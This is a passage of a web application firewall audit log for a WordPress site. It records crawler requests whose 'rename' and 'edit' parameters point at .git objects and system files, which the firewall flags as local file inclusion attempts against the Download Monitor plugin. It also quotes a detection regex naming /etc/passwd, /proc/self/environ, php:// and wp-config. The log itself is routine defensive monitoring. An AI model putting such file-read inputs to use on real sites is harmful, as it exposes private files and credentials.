[msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/13/480d4ba29fda34d67123be2f59869eca36f8c8||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":323,"p2":6483,"p3":0,"p4":0,"p5":407,"sr":170,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:43:29.774038 +0100","transaction_id":"abNrwcZN6QjCL5T2QIUxLQAAAAQ","remote_address":"57.141.20.31","remote_port":58352,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/52/111b34c6b6f8db9cb4c74377fe4da22e85da66 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"212c882067aa4f717b68fbeb530a35b2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6062136"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"212c882067aa4f717b68fbeb530a35b2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/52/111b34c6b6f8db9cb4c74377fe4da22e85da66||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":195,"p2":3912,"p3":0,"p4":0,"p5":212,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:43:51.863495 +0100","transaction_id":"abNr18S9L92-qvnlzdytDwAAAIE","remote_address":"65.109.118.212","remote_port":49828,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"65fd656f4b5cb9826f3644fc77aec553","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2425115","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"65fd656f4b5cb9826f3644fc77aec553","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":296,"p2":3637,"p3":0,"p4":0,"p5":380,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:44:04.700719 +0100","transaction_id":"abNr5MS9L92-qvnlzdytHgAAAIk","remote_address":"57.141.20.52","remote_port":37238,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/00/e9afb8b5d2bda64885156911755a9d800303aa HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"f4d5753b23f38ffb5659718950c484c5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2162930"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f4d5753b23f38ffb5659718950c484c5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/00/e9afb8b5d2bda64885156911755a9d800303aa||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":280,"p2":6232,"p3":0,"p4":0,"p5":438,"sr":129,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:44:35.168407 +0100","transaction_id":"abNsAsS9L92-qvnlzdytZQAAAIM","remote_address":"57.141.20.21","remote_port":44632,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/de/LC_MESSAGES/iso_639_5.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"beee839c3ff188c45ab6f45bb834f538","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4620358"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"beee839c3ff188c45ab6f45bb834f538","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/de/LC_MESSAGES/iso_639_5.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":191,"p2":4237,"p3":0,"p4":0,"p5":300,"sr":110,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:45:03.126582 +0100","transaction_id":"abNsHvlFIvnJgHRlHaWC0wAAARc","remote_address":"57.141.20.9","remote_port":59024,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/02/52a4984285056e535cd7b9cdedb179e760c7a4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"bebb3a7f188a9c36788fdd49c45234f3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1507488"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bebb3a7f188a9c36788fdd49c45234f3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/02/52a4984285056e535cd7b9cdedb179e760c7a4||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":336,"p2":6668,"p3":0,"p4":0,"p5":324,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:45:54.213616 +0100","transaction_id":"abNsUcZN6QjCL5T2QIUyNgAAABM","remote_address":"65.109.118.212","remote_port":53980,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"d719134d696d5cc93095074acd7e8776","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1802998","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"d719134d696d5cc93095074acd7e8776","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":246,"p2":4630,"p3":0,"p4":0,"p5":316,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:47:54.942887 +0100","transaction_id":"abNsyvlFIvnJgHRlHaWEeAAAARA","remote_address":"65.109.118.212","remote_port":46746,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"ea30909bfef33fe28b2510b0f5de5d85","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2982132","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"ea30909bfef33fe28b2510b0f5de5d85","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":163,"p2":2866,"p3":0,"p4":0,"p5":282,"sr":93,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:48:08.309818 +0100","transaction_id":"abNs1x2Dz2AA0AEEU8rWCQAAAFE","remote_address":"57.141.20.4","remote_port":48160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/vantage/vantage.1.17.4.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"bedeb6977d9ecf1ef69d8cf2b7fcea6f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4849871"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bedeb6977d9ecf1ef69d8cf2b7fcea6f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/vantage/vantage.1.17.4.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":181,"p2":3558,"p3":0,"p4":0,"p5":262,"sr":92,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:51:56.247975 +0100","transaction_id":"abNtux2Dz2AA0AEEU8rX0AAAAEo","remote_address":"65.109.118.212","remote_port":53956,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"64377959c4d9bf7bcba3793587aaba7c","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4980919","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"64377959c4d9bf7bcba3793587aaba7c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":160,"p2":2652,"p3":0,"p4":0,"p5":299,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:53:58.086607 +0100","transaction_id":"abNuNflFIvnJgHRlHaWHEgAAAQk","remote_address":"65.109.118.212","remote_port":35808,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"97cd71796f71a0e4ab99d12d32ef7fdd","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2556230","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"97cd71796f71a0e4ab99d12d32ef7fdd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":156,"p2":2726,"p3":0,"p4":0,"p5":205,"sr":87,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:55:59.398023 +0100","transaction_id":"abNur-pA8xvhc8hKmegrIwAAAVQ","remote_address":"65.109.118.212","remote_port":52496,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"559a5918254d1b8ce18e75cf0af325cd","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2523863","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"559a5918254d1b8ce18e75cf0af325cd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":163,"p2":2953,"p3":0,"p4":0,"p5":236,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:58:01.796901 +0100","transaction_id":"abNvKepA8xvhc8hKmegr1QAAAUo","remote_address":"65.109.118.212","remote_port":36364,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"edf106c9645379a8ca16284162b42c0c","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4489839","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"edf106c9645379a8ca16284162b42c0c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx 